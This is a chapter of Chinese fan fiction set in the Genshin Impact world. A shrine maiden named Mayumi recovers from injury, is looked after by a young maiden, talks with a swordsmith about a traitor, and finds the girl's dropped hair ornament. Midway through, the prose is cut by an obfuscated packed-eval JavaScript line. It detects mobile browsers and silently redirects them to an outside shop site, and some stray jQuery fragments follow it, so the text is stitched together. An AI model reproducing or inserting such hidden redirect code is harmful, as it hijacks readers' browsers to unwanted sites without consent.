真弓给自己放了两天假。
她和散兵交手过后，借着养伤的借口休息。社奉行识趣地没来打扰，八重也反常地没找事情差使她。
往常这么清闲的时候，真弓通常在屋里躺着翻轻小说，实在无聊就拿把扫帚在鸣神大社扫扫地，又或者临时担任解签的巫女，用胡说八道降低鸣神大社的求签率。
除了八重，鸣神大社里的其余巫女都对她敬而远之，寻常无事不会上门来扰她的清静。
“真弓大人，我可以进来吗？”
半开的院门被“笃笃”敲响了。
“……又是你。”真弓用拇指按住手里的书页，随手合上书册，看向院门口，“你就没有别的事可做了？”
她半躺半坐在屋前回廊，背靠廊柱晒着太阳，一条腿屈起当看书的支架。日光明亮浅淡，直直洒下来，将睫毛和发丝照成虚幻的金色。
真弓被太阳光晃得眯了下眼，那表情无论如何也算不上热情友善。
“我现在的职责就是照顾真弓大人呀。”绘理奈却像没察觉她的冷淡，提着食盒径直走进院子，“这是宫司大人亲自交给我的任务，我得好好完成的。”
“我不需要照顾。自己玩去。”
“咳咳……‘既然不需要照顾，想必是痊愈了。正好，社奉行那还等着她搭把手呢’。”
绘理奈煞有介事地模仿八重的口吻，说完自己先不好意思起来，嘿嘿笑了两声：“宫司大人是这么说的。”
“……啧。”
真弓没话可说，重新摊开书本。
绘理奈把食盒放在她手边，打开盖子，浓郁鲜美的食物香气立刻扑面而来。
“绀田煮，山家烧，甜虾寿司……”小巫女在旁边絮絮叨叨地报菜名，“我向宫司大人打听过，都是您爱吃的。昨天您说‘别拿喂猫的东西来喂我’，这回我加了分量。”
她说着，习惯了真弓不回应这种闲话，摆开碗筷，自顾自挽着袖子站起来：“您先吃。我来做一下扫除。”
“你真有够闲的。”
真弓拿起一枚山家烧。酥黄微焦的鱼饼，咬开后鲜美的汤汁在齿间溢流，鱼肉柔滑鲜嫩，肉糜里混合着切碎的金鱼草。
味道还不错。
绘理奈拿着清扫工具，屋里屋外地忙碌。真弓吃完一块山家烧，擦了擦手指：“别给自己找事做了。我又不是断手断脚，拿不起扫帚。”
“那怎么能一样。”绘理奈在不知道哪的犄角旮旯擦了一圈，把黑乎乎的抹布展示给她看，忍不住叹气，“您对日常卫生实在太不上心了……”
真弓轻哼：“屋子没有整洁如新住着会死人吗？”
“可以理解您没空收拾啦。”绘理奈回过头去拧抹布，“但有人帮忙，您就不要这么多抱怨了嘛。”
真弓：“……”
她微微无语地拿起筷子，不再说话，专心吃东西。
绘理奈轻轻哼着歌，擦完地板和屋里积灰的角角落落，去换了盆水来擦屏风、桌子，最后停在刀架前。
“可以碰吗？”她先询问了真弓，得到许可后才小心翼翼地双手捧起雪映长光，手腕被压得往下沉，“呜啊，好重……”
年轻的小巫女感慨：“很多人猜您其实是这柄名刀的物灵呢。”
“挺有想象力。”真弓吃完了食物，把碗筷收拾好，盖上食盒，“现在你知道是谣言了。”
“那真弓大人是什么妖怪呢？可以告诉我吗？”
“老不死妖怪。”
“哎？您又在逗我玩了……”
绘理奈说着话，仔细地擦拭过刀架，再小心地把雪映长光放回去。
这柄刀对没经过锻炼的人来说太过坠手，刚擦过的刀架滑溜溜的，她松手时一不当心，没放稳，反而眼睁睁看着它脱手而出。
“啊！”
绘理奈心脏骤停，顾不上别的，匆忙伸手去抱，却没注意额头对着桌子的尖锐的一角。她刚弯下腰，只觉得肩膀一痛，被紧紧抓住。
“少干这种蠢事。”真弓一手制止她，一手稳稳捞住太刀，皱着眉把人拉起来，“刀重要还是人重要？”
“对不起……”
绘理奈惊魂未定地抚着胸口，老实低头：“我没来得及想太多……就算这柄刀不是真弓大人的本体，也陪伴您战斗了很久，应当是您很重要的东西吧。如果、如果被我这样摔了……”
“再怎么样，它也只是柄普通的刀。”真弓说，“没有什么特别的。”
她将太刀配在腰间，靴底踩过刚擦干净的地板，往外走去。
“真弓大人？”绘理奈怔了怔，连忙跟上，“您要出门吗？”
“散步。”
“那、那请带上我……”
“你跟的上就跟。”
话音落下，没等绘理奈反应过来，真弓两三步从院墙跳上屋檐，回过头往下一瞥。
天光晴朗，暖风挟着纷纷扬扬的绯樱花瓣拂过她的发丝衣摆。光明灿烂的日晕模糊了视野，绘理奈没看清真弓的表情，只听见她轻笑一声，打开风之翼，从紧挨山崖的屋顶利落地跳了下去。
“真弓大人……！”
满地落樱的朱红神社里，小巫女的声音循风遥遥传来。
真弓把绘理奈的惊呼甩在身后，顺着风向，借助风之翼一路滑翔到海滩边，轻巧落地。
闲着也是闲着，她绕着鸣神岛外围转了转，途中顺手收拾一伙盗宝团，两伙寻衅滋事的流浪武士。再往偏僻处去，遇到了不知何时游荡至此的兽境猎犬。
这些浸染深渊气息的炼金造物行动诡谲狡诈。解决它们对真弓来说并不困难，却很难避免受伤。
程度轻的伤口转瞬就会痊愈，从结果来说，只有衣服又报废一件。
真弓完成日常巡逻，随手扎起割破的袖口，遮住明显的血污，返回鸣神岛。
她踏上花见坂的街道时，已经是夕阳西下。朦胧的暖金色铺满街道屋檐，归家的行人面带笑容。
有些人闲来无事，聚集在路边的公告板前。
“好像是奉刀祭的公示……”
“鸣神大社广邀天下英雄豪杰？看来这回会很热闹了！”
“但我怎么听说，最近社奉行才抓了人。不是很太平哪……”
真弓稍稍驻足。
她受路边的三言两语吸引，转移了注意力。正当这时，在花见坂路边蹲守已久的小巫女发现目标，迅速跑了过来。
“真弓大人！”绘理奈跑到近前，一眼注意到她身上的异样，“啊，您又受伤了……”
真弓：“……”
没辙了。真弓不禁叹出口气，掏出钱袋晃晃，使唤她：“别那么大声喊我。去，给我买两串团子。”
绘理奈应声行动，但没有接她的钱袋，反而说：“没事啦，我带了钱的。”
小巫女脚步轻快地跑开，点缀着鸣草的发饰在脑后一甩一甩。
真弓看看她的背影，没说什么，在附近的小吃摊位坐下，要了两份市井杂煮。
热腾腾的杂煮端上来，热气氤氲，香气四溢。真弓夹起浸足汤汁的油豆腐，刚放进嘴里，就听见有人喊她。
“海野大人？”
回过头，枫原义庆站在两步开外。明明是他开口喊人，真对上她的目光，却又有些局促似的：“真的是您……您的伤势如何了？实在抱歉，这两日没能上门慰问，是我失礼了。”
真弓没接他的客套话：“有事？”
“不不，只是和您打声招呼……”枫原义庆这么说，却没立刻离开，踌躇着说，“不过关于……那件事的后续。我想应该知会您一声。”
真弓示意他坐。枫原义庆端端正正在桌边坐下，说起最近社奉行抓捕内应的事。
那天，真弓独自追寻线索，闯入愚人众的秘密基地。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17508066|202536||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
五百藏派小狸子前去向八重神子报信求援。
八重当时正在神里屋敷与社奉行商议奉刀祭相关事务。她离开时，正巧在门口碰见匆匆忙忙要往山上跑的小狸子，当场翻译了它的口信，神里家主这才能及时带领幕府士兵前去支援。
但当时听见口信的，还有位百目家的刀匠。他不巧就是愚人众的内应，提前通风报信，给了对方撤离的机会。
事后，神里家主通过几件消息泄露的事互相印证，自然而然抓出了他。
枫原义庆说到最后，叹了口气。
“这不是挺好的。”真弓嘴里咬着萝卜块，抬眼看过去，“被抓的又不是你。你叹什么气？”
枫原义庆微微苦笑，低声说：“其实，我也不是不能理解百目……”
真弓打断他：“理解什么，你也打算通敌叛国？”
“这当然不是！”枫原义庆被她一句话说得冒冷汗，连忙摆手，“我是说，作为锻造名门的后人，却只能眼睁睁看着技艺没落……”
“别想太多。”真弓说，“能没落就说明没那么需要。你要是怕家族没落，不如早点改行去做生意，让那点家产发挥作用好了。”
枫原义庆先是哑然，随后神色复杂地叹息：“祖传家业，哪能轻易抛下。但您说得也有道理。或许，我并不适合这门手艺，不如赤目……”
他的语气带着淡淡的苦涩，那张和丹羽久秀十足相似的面庞流露些许黯然失意。
真弓看着，微微皱起眉头。
“真弓大人——”
她还没开口说话，绘理奈抱着一堆食物回来了。除了真弓要她买的丸子，怀里还有水馒头、鲷鱼烧和两瓶牛奶。
看见枫原义庆，她迟疑地停下脚步：“咦？您是……啊，我是不是打扰您二位谈话了？”
“没有没有。”枫原义庆站起来，“正好我也该离开了。海野大人，还有这位……”
“绘理奈，大社新来的巫女。”真弓吃完自己那份杂煮，随口介绍，“枫原义庆，社奉行的刀匠。”
绘理奈：“……”
小巫女听见真弓的话，动作不知为何顿了顿，随即对枫原义庆露出分外明媚的笑容：“您好，枫原大人。您吃饭了吗？”
枫原义庆：“啊？还没有……”
“那请您务必收下。”绘理奈把怀里抱着的一堆食物塞给了枫原义庆，只留下一串三彩团子，热情招呼，“别客气，反正是买多的。”
枫原义庆推辞不成，只好抱着食物，有点茫然地离开了。
真弓微微挑眉，看向绘理奈：“‘买多的’？”
绘理奈没说话，抿起嘴唇盯着真弓，不知为何有点不高兴的模样。
真弓还在不明所以，绘理奈忽地深吸一口气，两三口吃掉手里仅存的那串三彩团子。光溜溜的竹签拍在真弓面前的桌上，因为吃得太急，她还噎了一下。
“真弓大人真是……笨蛋！”好容易顺过气，被噎得溢出眼泪的小巫女脸颊泛红，着恼地看着真弓，“我才不是什么‘绘理奈’，我的名字是早绘，早绘！”
“……”
绘理奈，不是，早绘扭头跑走了。
真弓看着她的背影消失，再低头看看那根竹签。片刻之后，她轻轻笑了一声。
她坐在小吃摊上，拖过另一碗没人动过的杂煮，慢悠悠地吃完结账，在街边重新买了牛奶和团子，沿着早绘跑走的方向跟上去，准备返回鸣神大社。
但离开热闹的花见坂不久，真弓便顿住脚步。
无人的小径前，她在路边草丛里看见了眼熟的发饰。
用裁衣后的边角料扎成的系带和绢花，点缀着新鲜的鸣草，手艺很精细。是早绘亲手做的，她还自告奋勇地要给真弓也做一个，理所当然地被拒绝了。
真弓蹲下身，捡起那枚沾上泥土草屑的发饰，脸上一点淡淡的笑意，彻底消失了。